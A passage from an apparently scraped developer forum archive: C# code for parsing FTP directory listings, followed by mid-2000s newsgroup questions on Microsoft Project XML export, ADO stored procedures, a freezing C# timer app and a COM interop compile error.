private static string[] _ParseFormats = new string[] {
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\w+\\s+\\w+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{4})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\d+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{4})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\d+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{1,2}:\\d{2})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})\\s+\\d+\\s+\\w+\\s+\\w+\\s+(?<size>\\d+)\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{1,2}:\\d{2})\\s+(?<name>.+)",
"(?<dir>[\\-d])(?<permission>([\\-r][\\-w][\\-xs]){3})(\\s+)(?<size>(\\d+))(\\s+)(?<ctbit>(\\w+\\s\\w+))(\\s+)(?<size2>(\\d+))\\s+(?<timestamp>\\w+\\s+\\d+\\s+\\d{2}:\\d{2})\\s+(?<name>.+)",
"(?<timestamp>\\d{2}\\-\\d{2}\\-\\d{2}\\s+\\d{2}:\\d{2}[Aa|Pp][mM])\\s+(?<dir>\\<\\w+\\>){0,1}(?<size>\\d+){0,1}\\s+(?<name>.+)"
};
#endregion
}
#endregion
#region "FTP Directory class"
/// <summary>
/// Stores a list of files and directories from an FTP result
/// </summary>
/// <remarks></remarks>
public class FTPdirectory : List<FTPfileInfo>
{
public FTPdirectory()
{
//creates a blank directory listing
}
/// <summary>
/// Constructor: create list from a (detailed) directory string
/// </summary>
/// <param name="dir">directory listing string</param>
/// <param name="path"></param>
/// <remarks></remarks>
public FTPdirectory(string dir, string path)
{
foreach (string line in dir.Replace("\n",
"").Split(System.Convert.ToChar('\r')))
{
//parse
if (line != "")
{
this.Add(new FTPfileInfo(line, path));
}
}
}
/// <summary>
/// Filter out only files from directory listing
/// </summary>
/// <param name="ext">optional file extension filter</param>
/// <returns>FTPdirectory listing</returns>
public FTPdirectory GetFiles(string ext)
{
return this.GetFileOrDir(FTPfileInfo.DirectoryEntryTypes.File, ext);
}
/// <summary>
/// Returns a list of only subdirectories
/// </summary>
/// <returns>FTPDirectory list</returns>
/// <remarks></remarks>
public FTPdirectory GetDirectories()
{
return this.GetFileOrDir(FTPfileInfo.DirectoryEntryTypes.Directory, "");
}
//internal: share use function for GetDirectories/Files
private FTPdirectory GetFileOrDir(FTPfileInfo.DirectoryEntryTypes type,
string ext)
{
FTPdirectory result = new FTPdirectory();
foreach (FTPfileInfo fi in this)
{
if (fi.FileType == type)
{
if (ext == "")
{
result.Add(fi);
}
else if (ext == fi.Extension)
{
result.Add(fi);
}
}
}
return result;
}
public bool FileExists(string filename)
{
foreach (FTPfileInfo ftpfile in this)
{
if (ftpfile.Filename == filename)
{
return true;
}
}
return false;
}
private const char slash = '/';
public static string GetParentDirectory(string dir)
{
string tmp = dir.TrimEnd(slash);
int i = tmp.LastIndexOf(slash);
if (i > 0)
{
return tmp.Substring(0, i - 1);
}
else
{
throw (new ApplicationException("No parent for root"));
}
}
}
#endregion
}
- 14
- Microsoft Project >> Unable to create an xml file in Project 2003I am trying to create an xml file from Project 2003 using the visual basic
editor. I copied the code supplied for project 2002 from microsoft but
there's an "Automation error" for the "FileSaveAs" command, app.FileSaveAs
FormatID:="MSProject.XMLDOM", XMLName:=XMLdoc. The code that I am using is
pasted below, can someone figure out why this error message is popping up???
Also, is there an easier way to grab certain reports (critical tasks,
completed tasks, etc) from Project 2003 and put it on an html page??
Dim app As New MSProject.Application
Dim htmlFile As String, xsltFile As String
Dim XMLdoc As Object, XSLdoc As Object
'Create an XML DOM document and save the project to it.
Set XMLdoc = CreateObject("MSXML2.DOMdocument")
XMLdoc.async = False
app.FileSaveAs FormatID:="MSProject.XMLDOM", XMLName:=XMLdoc
- 15
- ADO >> problem executing sproc from ASP(ADO).NETcan anyone tell me why the following will not work or how to fix it. This
works fine for executing sprocs with no parms but fails (always returns -1)
when executing with parms.
from webform:
Private Sub Find_Button_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Find_Button.Click
Dim resultDS As DataSet
Dim retVal As Integer
Dim parmArray(2) As SqlClient.SqlParameter
parmArray(0) = New SqlClient.SqlParameter("@SEARCHTYPE",
SqlDbType.VarChar)
parmArray(0).Value = SearchType.SelectedValue
parmArray(1) = New SqlClient.SqlParameter("@SEARCHTERM",
SqlDbType.VarChar)
parmArray(1).Value = SearchTerm.Text
parmArray(2) = New SqlClient.SqlParameter("@INC_CLOSED",
SqlDbType.VarChar)
parmArray(2).Value = UCase(IncClosed.Checked.ToString)
Call ExecSP("PROC_MASTER_SEARCH", retVal, parmArray, resultDS)
DataGrid_Results.DataSource = resultDS
DataGrid_Results.DataBind()
End Sub
from db access module (adapted from Using Visual Basic.Net by Siler and
Spotts)
Private Sub PopulateCommandParms(ByVal parmArray() As SqlParameter, ByRef
cmd As SqlCommand)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'adds each parameter to the command object
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim i As Integer
For i = LBound(parmArray) To UBound(parmArray)
cmd.Parameters.Add(parmArray(i))
Next
End Sub
Private Sub PopulateOutputParms(ByVal cmd As SqlCommand, ByRef
parmArray() As SqlParameter)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'copies output parameter values back into the array
'assumes parameter array is already populated
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim i As Integer
For i = LBound(parmArray) To UBound(parmArray)
If parmArray(i).Direction = ParameterDirection.Output Then
parmArray(i).Value =
cmd.Parameters(parmArray(i).ParameterName).Value
End If
Next
End Sub
Public Sub ExecSP(ByVal procName As String, ByRef retVal As Integer, _
Optional ByRef parmArray() As SqlParameter = Nothing, _
Optional ByRef resultDS As DataSet = Nothing)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'executes stored procedures returning output parameters or filling a
dataset
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim dbConn As SqlConnection
Dim dbCmd As SqlCommand
Dim dbAdp As SqlDataAdapter
'open the connection
dbConn = New SqlConnection
dbConn.ConnectionString = GetConnectionString()
dbConn.Open()
'create the command object
dbCmd = New SqlCommand
dbCmd.CommandText = procName
dbCmd.CommandType = CommandType.StoredProcedure
dbCmd.Connection = dbConn
'add parameters to the connection object if they exist
If Not (parmArray Is Nothing) Then
Call PopulateCommandParms(parmArray, dbCmd)
End If
'execute the command
If resultDS Is Nothing Then
retVal = dbCmd.ExecuteNonQuery
Else
resultDS = New DataSet
dbAdp = New SqlDataAdapter
dbAdp.SelectCommand = dbCmd
retVal = dbAdp.Fill(resultDS)
End If
'close the connection
dbConn.Close()
'populate output parameters
If Not (parmArray Is Nothing) Then
Call PopulateOutputParms(dbCmd, parmArray)
End If
End Sub
|
| Author |
Message |
Farah

|
Posted: Mon May 24 01:31:29 CDT 2004 |
Top |
Dotnet >> Process CPU usage jumps to 100% without any reason?
I am working on an application in c# that runs in the background.
All it does is monitor a value from a performance counter using a timer. It then draws these values in a chart
Now, this application works for a long time, sometimes even days. But sometimes it just freezes and the CPU usag
spikes to 100% for that process. I really don't understand why, and there seems to be no actual event that trigger
this. It looks like this problem occures more when I am using more CPU power during a long period of tim
(f.e. when compressing something). But even then, sometimes the program freezes and sometimes it keeps running
smooth at 0-2% usage..
Is there anyone that can give me an idea on how to solve this problem
I thank you for your time
Kind regards
Kevin Chabot
DotNet114
|
| |
|
| |
 |
Calvin

|
Posted: Mon May 24 01:31:29 CDT 2004 |
Top |
Dotnet >> Process CPU usage jumps to 100% without any reason?
This is a multi-part message in MIME format.
------=_NextPart_000_021B_01C4411E.1306BED0
Content-Type: text/plain;
charset="Utf-8"
Content-Transfer-Encoding: quoted-printable
Kevin,
I don't have an easy solutions. But I would write a text file log and =
see what's the last place it get's to before it goes off to never never =
land.=20
-Calvin Luttrell
ProjectThunder.com
> I am working on an application in c# that runs in the background.=20
> All it does is monitor a value from a performance counter using a =
timer. It then draws these values in a chart.
>=20
> Now, this application works for a long time, sometimes even days. But =
sometimes it just freezes and the CPU usage
> spikes to 100% for that process. I really don't understand why, and =
there seems to be no actual event that triggers
> this. It looks like this problem occures more when I am using more CPU =
power during a long period of time
> (f.e. when compressing something). But even then, sometimes the =
program freezes and sometimes it keeps running=20
> smooth at 0-2% usage...
>=20
> Is there anyone that can give me an idea on how to solve this problem?
>=20
------=_NextPart_000_021B_01C4411E.1306BED0
Content-Type: text/html;
charset="Utf-8"
Content-Transfer-Encoding: quoted-printable
=EF=BB=BF<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>Kevin,</FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>I don't have an easy =
solutions. But I=20
would write a text file log and see what's the last place it get's to =
before it=20
goes off to never never land. </FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2>-Calvin =
Luttrell</FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 =
size=3D2>ProjectThunder.com</FONT></DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial color=3D#000000 =
size=3D2></FONT> </DIV><FONT face=3DArial=20
color=3D#000000 size=3D2>> I am working on an application in c# that =
runs in the=20
background. <BR>> All it does is monitor a value from a performance =
counter=20
using a timer. It then draws these values in a chart.<BR>> <BR>> =
Now, this=20
application works for a long time, sometimes even days. But sometimes it =
just=20
freezes and the CPU usage<BR>> spikes to 100% for that process. I =
really=20
don't understand why, and there seems to be no actual event that=20
triggers<BR>> this. It looks like this problem occures more when I am =
using=20
more CPU power during a long period of time<BR>> (f.e. when =
compressing=20
something). But even then, sometimes the program freezes and sometimes =
it keeps=20
running <BR>> smooth at 0-2% usage...<BR>> <BR>> Is there =
anyone that=20
can give me an idea on how to solve this problem?<BR>>=20
<BR></FONT></BODY></HTML>
------=_NextPart_000_021B_01C4411E.1306BED0--
|
| |
|
| |
 |
kevinchabot

|
Posted: Mon May 24 12:46:03 CDT 2004 |
Top |
Dotnet >> Process CPU usage jumps to 100% without any reason?
Hi
I've checked where the application starts to freeze
It happens right before my "Application.Doevents()" statement in my timer (100ms). After that
it keeps hanging there and CPU usage jumps to ~100%
Any ideas? :)
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Dotnet |
- Next
- 1
- Visual C#.Net >> Postfix incrementHello!
I have found an interesting thing with postfix operator ++.
What should contain the variable i after exceution the following code:
int i = 5;
i = i++;
In VC++ 7.1 and VC++ 2005 beta 2 the variable i contains 6.
But in C# 7.1 and C# 2005 beta 2 the variable i contains 5.
Is it behaviour correct? Can anyone explain what is the correct result?
Best regards,
Oleg.
- 2
- Visual C#.Net >> Folder rights...I'm creating a new folder using Directory.CreateDirectory() method.
How to set "FullControl" rights to "Everyone" group on this folder?
Where to obtain an "Everyone" identity string? I can't just put
"Everyone" cause in f.e. Polish version this group names "Wszyscy" ...
- 3
- Microsoft Project >> error: valid product key must be set to create an admin imageI'm trying to set up an administrative installation point for project 2002
professional including MUI-packs (german; maybe french, too). When installing
the MUI-Pack to the administrative share using the usual command
"<cdrom>:\1031\setup /a"
the setup stops after completing all dialogs (accept, installation path)with
installer error
"A valid Product Key must be set to create an Admin image"
I was never asked for a licensing key and IMHO the MUI kits don't handle
licensing, anyway. I'm using Project 2002 pro with volume licensing key and
the MUI CD2 from MSDN Subscriber Downloads. Poject 2002 us-english
kernel runs without problems.
It's independent of the installation path I choose.
Ideas?
- 4
- Visual C#.Net >> Creating a dynamic array...Hello.
I have figured out how to create an instance of an object only knowing the
type by string.
string sName = "MyClassName";
Type t = Type.GetType(sName);
Object objNew = Activator.CreateInstance(t);
This works, but now I need to declare an array like
Object[] objNew = Activator.CreateInstance(t)[0];
This doesn't work. Can anyone help?
Thanks.
Matthew Wells
Matthew.Wells@FirstByte.net
- 5
- Net Framework >> Get LOGON USER name in .NET 2.0I recentlly converted some web services to 2.0. So far everything has worked
great with the exception of one of the functions in an AD service.
the following code:
string sUser = HttpContext.Current.Request.ServerVariables["LOGON_USER"];
Worksk fine if debugging in VS 2005 but when I publish to the server. An
empty string is returned. I have tried to catch an error and does not appear
to be one.
- 6
- Net Framework >> .Net Framework 1.1 SP1 brok COM+ componentsAfter installing SP1 for the .Net framework 1.1 on a Windows 2000 server, all
the COM+ components ceased to be accessible from my VB6 applications. The
only error that was received was that it could not load the dll. I ended up
deleting the components and reapplying them with regsvcs.
Fortunately, we only have a few .Net COM+ components being accessed by VB6.
Has anyone else seen this?
- 7
- Dotnet >> Dynamically creating a Word documentI want to create a Word document that will display data from a database. I
don't want to create the file on the server, I just want to stream it out
directly to the user. When they click a button, the Word Save Open window
will open, and allow the user to Save or Open the document in Word. I know I
need to use response.binarywrite, but I don't know if it is possible to
create the binary object without first saving it to a temporary file. Would
I need to create a Word template, and how would I use it?
How would I get data from a data grid into this document?
- 8
- Microsoft Project >> Creating Custom LegendsI'm trying to create custom legends for my schedules - I can create them in
Page Setup but they show up on the print out. Please let me know if you have
any tips on creating legends.
Thanks for your help
- 9
- Dotnet >> Logging Into a ServerHello All,
I'm hoping someone can point me in the right direction. This is outside of
my experience with VB. I have an application (written in VB.NET) that
allows a user to enter a part of the file name and all file matches in a
specific
directory are copied to the user's desktop. It's a simple but useful tool.
Now an outside company requires access to the data. The files have been
moved to a Windows 2000 server accessible via the internet (i.e. outside the
firewall) so the other company can access the files. Both companies are
going to use this program. Since this server is not on our (or any) domain
I must log into that server. Therein lies my question. How do I
programmatically supply a user name and password to the server? We do not
want the other company to know the user name and password to the server.
The "best" solution is a web application, but I need to get this working
immediately and I haven't much experience with ASP.
Thank you for your help.
Chris
- 10
- Visual C#.Net >> CS0536 ErrorThis is a multi-part message in MIME format.
------=_NextPart_000_000B_01C383D6.38C91C90
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi All,
I'm trying to generate a C# wrapper for a Windows type library using the =
following command line ...
csc /target:library /doc:Interop.MyLibrary.xml /unsafe =
Interop.MyLibrary.cs >Interop.MyLibrary.log
And receiving the following error message ...
Interop.MyLibrary.cs(499,18): error CS0536: =
'Interop.MyLibrary.IImpBaseCollection_SinkHelper' does not implement =
interface member 'Interop.MyLibrary.IImpBaseCollection.Item(object)'. =
'Interop.MyLibrary.IImpBaseCollection_SinkHelper.Item(object)' is either =
static, not public, or has the wrong return type.
Here's the code....
The line where the error occurs is in Bold Blue
Any ideas appreciated!! ;-)
Thanks,
Roland
-----------------
/// <summary><para><c>IImpBaseCollection</c> interface.</para></summary>
[Guid("5616A320-AB4D-11D0-8E2F-00A0C9050603")]
[ComImport]
[TypeLibType((short)4096)]
[DefaultMember("Item")]
[InterfaceTypeAttribute(ComInterfaceType.InterfaceIsIDispatch)]
public interface IImpBaseCollection: System.Collections.IEnumerable
{
/// <summary><para><c>Item</c> method of <c>IImpBaseCollection</c> =
interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>Item</c> method was =
the following: <c>HRESULT Item (VARIANT nIndex, [out, retval] =
IDispatch** ReturnValue)</c>;</para></remarks>
// IDL: HRESULT Item (VARIANT nIndex, [out, retval] IDispatch** =
ReturnValue);
// VB6: Function Item (ByVal nIndex As Any) As IDispatch
[DispId(0)]
[return: MarshalAs(UnmanagedType.IDispatch)]
object Item (object nIndex);
/// <summary><para><c>_NewEnum</c> property of <c>IImpBaseCollection</c> =
interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>_NewEnum</c> =
property was the following: <c>IUnknown* _NewEnum</c>;</para></remarks>
// IDL: IUnknown* _NewEnum;
// VB6: _NewEnum As IUnknown
object _NewEnum
{
// IDL: HRESULT _NewEnum ([out, retval] IUnknown** ReturnValue);
// VB6: Function _NewEnum As IUnknown
[DispId(-4)]
[return: MarshalAs(UnmanagedType.IUnknown)]
get;
}
/// <summary><para>Parent property of IImpBaseCollection =
interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>Parent</c> property =
was the following: <c>IDispatch* Parent</c>;</para></remarks>
// IDL: IDispatch* Parent;
// VB6: Property Parent As IDispatch
[DispId(2)]
object Parent
{
[return: MarshalAs(UnmanagedType.IDispatch)]
get;
}
/// <summary><para>Count property of IImpBaseCollection =
interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>Count</c> property =
was the following: <c>long Count</c>;</para></remarks>
// IDL: long Count;
// VB6: Property Count As Long
[DispId(3)]
int Count
{
get;
}
}
/// <summary><para>Delegate for handling <c>Item</c> event of =
<c>IImpBaseCollection</c> interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>Item</c> event was =
the following: <c>HRESULT IImpBaseCollection_ItemEventHandler (VARIANT =
nIndex, [out, retval] IDispatch** ReturnValue)</c>;</para></remarks>
// IDL: HRESULT IImpBaseCollection_ItemEventHandler (VARIANT nIndex, =
[out, retval] IDispatch** ReturnValue);
// VB6: Function IImpBaseCollection_ItemEventHandler (ByVal nIndex As =
Any) As IDispatch
[return: MarshalAs(UnmanagedType.IDispatch)]
public delegate object IImpBaseCollection_ItemEventHandler (object =
nIndex);
/// <summary><para>Delegate for handling <c>_NewEnum</c> event of =
<c>IImpBaseCollection</c> interface.</para></summary>
/// <remarks><para>An original IDL definition of <c>_NewEnum</c> event =
was the following: <c>HRESULT IImpBaseCollection__NewEnumEventHandler =
([out, retval] IUnknown** ReturnValue)</c>;</para></remarks>
// IDL: HRESULT IImpBaseCollection__NewEnumEventHandler ([out, retval] =
IUnknown** ReturnValue);
// VB6: Function IImpBaseCollection__NewEnumEventHandler As IUnknown
[return: MarshalAs(UnmanagedType.IUnknown)]
public delegate object IImpBaseCollection__NewEnumEventHandler () /* =
property get method */;
/// <summary><para>Declaration of events of <c>IImpBaseCollection</c> =
source interface.</para></summary>
[ComEventInterface(typeof(IImpBaseCollection),typeof(IImpBaseCollection_E=
ventProvider))]
[ComVisible(false)]
public interface IImpBaseCollection_Event
{
/// <summary><para><c>Item</c> event of <c>IImpBaseCollection</c> =
interface.</para></summary>
event IImpBaseCollection_ItemEventHandler Item;
/// <summary><para><c>_NewEnum</c> event of <c>IImpBaseCollection</c> =
interface.</para></summary>
event IImpBaseCollection__NewEnumEventHandler _NewEnum;
}
[ClassInterface(ClassInterfaceType.None)]
internal class IImpBaseCollection_SinkHelper: IImpBaseCollection
{
public int Cookie =3D 0;
public event IImpBaseCollection_ItemEventHandler ItemDelegate =3D null;
public void Set_ItemDelegate(IImpBaseCollection_ItemEventHandler deleg)
{
ItemDelegate =3D deleg;
}
public bool Is_ItemDelegate(IImpBaseCollection_ItemEventHandler deleg)
{
return (ItemDelegate =3D=3D deleg);
}
public void Clear_ItemDelegate()
{
ItemDelegate =3D null;
}
void Item (object nIndex)
{
if (ItemDelegate!=3Dnull)
ItemDelegate(nIndex);
}
public event IImpBaseCollection__NewEnumEventHandler _NewEnumDelegate =
=3D null;
public void Set__NewEnumDelegate(IImpBaseCollection__NewEnumEventHandler =
deleg)
{
_NewEnumDelegate =3D deleg;
}
public bool Is__NewEnumDelegate(IImpBaseCollection__NewEnumEventHandler =
deleg)
{
return (_NewEnumDelegate =3D=3D deleg);
}
public void Clear__NewEnumDelegate()
{
_NewEnumDelegate =3D null;
}
void _NewEnum () /* property get method */
{
if (_NewEnumDelegate!=3Dnull)
_NewEnumDelegate();
}
}
------=_NextPart_000_000B_01C383D6.38C91C90
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1141" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<DIV>Hi All,</DIV>
<DIV> </DIV>
<DIV>I'm trying to generate a C# wrapper for a Windows type library =
using the=20
following command line ...</DIV>
<DIV> </DIV>
<DIV><STRONG>csc /target:library /doc:Interop.MyLibrary.xml /unsafe=20
Interop.MyLibrary.cs >Interop.MyLibrary.log</STRONG></DIV>
<DIV> </DIV>
<DIV>And receiving the following error message ...</DIV>
<DIV> </DIV>
<DIV><FONT face=3Dt color=3D#0000ff>Interop.MyLibrary.cs(499,18): error =
CS0536:=20
'Interop.MyLibrary.IImpBaseCollection_SinkHelper' does not implement =
interface=20
member 'Interop.MyLibrary.IImpBaseCollection.Item(object)'.=20
'Interop.MyLibrary.IImpBaseCollection_SinkHelper.Item(object)' is either =
static,=20
not public, or has the wrong return type.</FONT></DIV>
<DIV> </DIV>
<DIV>Here's the code....</DIV>
<DIV> </DIV>
<DIV><FONT size=3D2><FONT color=3D#808080><FONT color=3D#000000 =
size=3D3>The line where=20
the error occurs is in <STRONG><FONT color=3D#0000ff>Bold=20
Blue</FONT></STRONG></FONT></FONT></FONT></DIV>
<DIV> </DIV>
<DIV>Any ideas appreciated!! ;-)</DIV>
<DIV> </DIV>
<DIV>Thanks,</DIV>
<DIV>Roland</DIV>
<DIV> </DIV>
<DIV>-----------------</DIV>
<DIV> </DIV>
<DIV><FONT size=3D2><FONT color=3D#808080></FONT></FONT> </DIV>
<DIV><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT =
color=3D#008000>=20
</FONT><FONT =
color=3D#808080><summary><para><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></DIV>
<DIV></FONT></FONT>
<P><FONT =
size=3D2>[Guid("5616A320-AB4D-11D0-8E2F-00A0C9050603")]</FONT></P>
<P><FONT size=3D2>[ComImport]</FONT></P>
<P><FONT size=3D2>[TypeLibType((<FONT =
color=3D#0000ff>short</FONT>)4096)]</FONT></P>
<P><FONT size=3D2>[DefaultMember("Item")]</FONT></P>
<P><FONT=20
size=3D2>[InterfaceTypeAttribute(ComInterfaceType.InterfaceIsIDispatch)]<=
/FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>public</FONT> <FONT=20
color=3D#0000ff>interface</FONT> IImpBaseCollection:=20
System.Collections.IEnumerable</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para><c></FONT><FONT=20
color=3D#008000>Item</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000> method of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>Item</FONT><FONT color=3D#808080></c></FONT><FONT=20
color=3D#008000> method was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>HRESULT Item =
(VARIANT nIndex,=20
[out, retval] IDispatch** ReturnValue)</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: HRESULT Item (VARIANT =
nIndex, [out,=20
retval] IDispatch** ReturnValue);</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Function Item (ByVal =
nIndex As Any)=20
As IDispatch</FONT></P></FONT>
<P><STRONG><FONT color=3D#ff0000>[DispId(0)]</FONT></STRONG></P>
<P><STRONG><FONT color=3D#ff0000>[return:=20
MarshalAs(UnmanagedType.IDispatch)]</FONT></STRONG></P>
<P><STRONG><FONT color=3D#ff0000>object Item (object =
nIndex);</FONT></STRONG></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para><c></FONT><FONT=20
color=3D#008000>_NewEnum</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> property of </FONT><FONT =
color=3D#808080><c></FONT><FONT=20
color=3D#008000>IImpBaseCollection</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000> =
interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>_NewEnum</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> property was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>IUnknown* =
_NewEnum</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: IUnknown*=20
_NewEnum;</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: _NewEnum As=20
IUnknown</FONT></P></FONT>
<P><FONT size=3D2><FONT color=3D#0000ff>object</FONT> =
_NewEnum</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: HRESULT _NewEnum ([out, =
retval]=20
IUnknown** ReturnValue);</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Function _NewEnum As=20
IUnknown</FONT></P></FONT>
<P><FONT size=3D2>[DispId(-4)]</FONT></P>
<P><FONT size=3D2>[<FONT color=3D#0000ff>return</FONT>:=20
MarshalAs(UnmanagedType.IUnknown)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>get</FONT>;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para></FONT><FONT =
color=3D#008000>Parent=20
property of IImpBaseCollection interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>Parent</FONT><FONT =
color=3D#808080></c></FONT><FONT=20
color=3D#008000> property was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>IDispatch* =
Parent</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: IDispatch* =
Parent;</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Property Parent As=20
IDispatch</FONT></P></FONT>
<P><FONT size=3D2>[DispId(2)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>object</FONT> Parent</FONT></P>
<P><FONT size=3D2>{</FONT></P>
<P><FONT size=3D2>[<FONT color=3D#0000ff>return</FONT>:=20
MarshalAs(UnmanagedType.IDispatch)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>get</FONT>;</FONT></P>
<P><FONT size=3D2>}</FONT></P>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><summary><para></FONT><FONT =
color=3D#008000>Count=20
property of IImpBaseCollection interface.</FONT><FONT=20
color=3D#808080></para></summary></P></FONT></FONT>
<P><FONT size=3D2><FONT color=3D#808080>///</FONT><FONT color=3D#008000> =
</FONT><FONT=20
color=3D#808080><remarks><para></FONT><FONT =
color=3D#008000>An original=20
IDL definition of </FONT><FONT color=3D#808080><c></FONT><FONT=20
color=3D#008000>Count</FONT><FONT color=3D#808080></c></FONT><FONT =
color=3D#008000> property was the following: </FONT><FONT=20
color=3D#808080><c></FONT><FONT color=3D#008000>long =
Count</FONT><FONT=20
color=3D#808080></c></FONT><FONT color=3D#008000>;</FONT><FONT=20
color=3D#808080></para></remarks></P></FONT></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// IDL: long =
Count;</FONT></P></FONT>
<P><FONT color=3D#008000><FONT size=3D2>// VB6: Property Count As=20
Long</FONT></P></FONT>
<P><FONT size=3D2>[DispId(3)]</FONT></P>
<P><FONT size=3D2><FONT color=3D#0000ff>int</FONT> Count</FONT></P>
<P><FONT size=3D2>{</FONT></P>
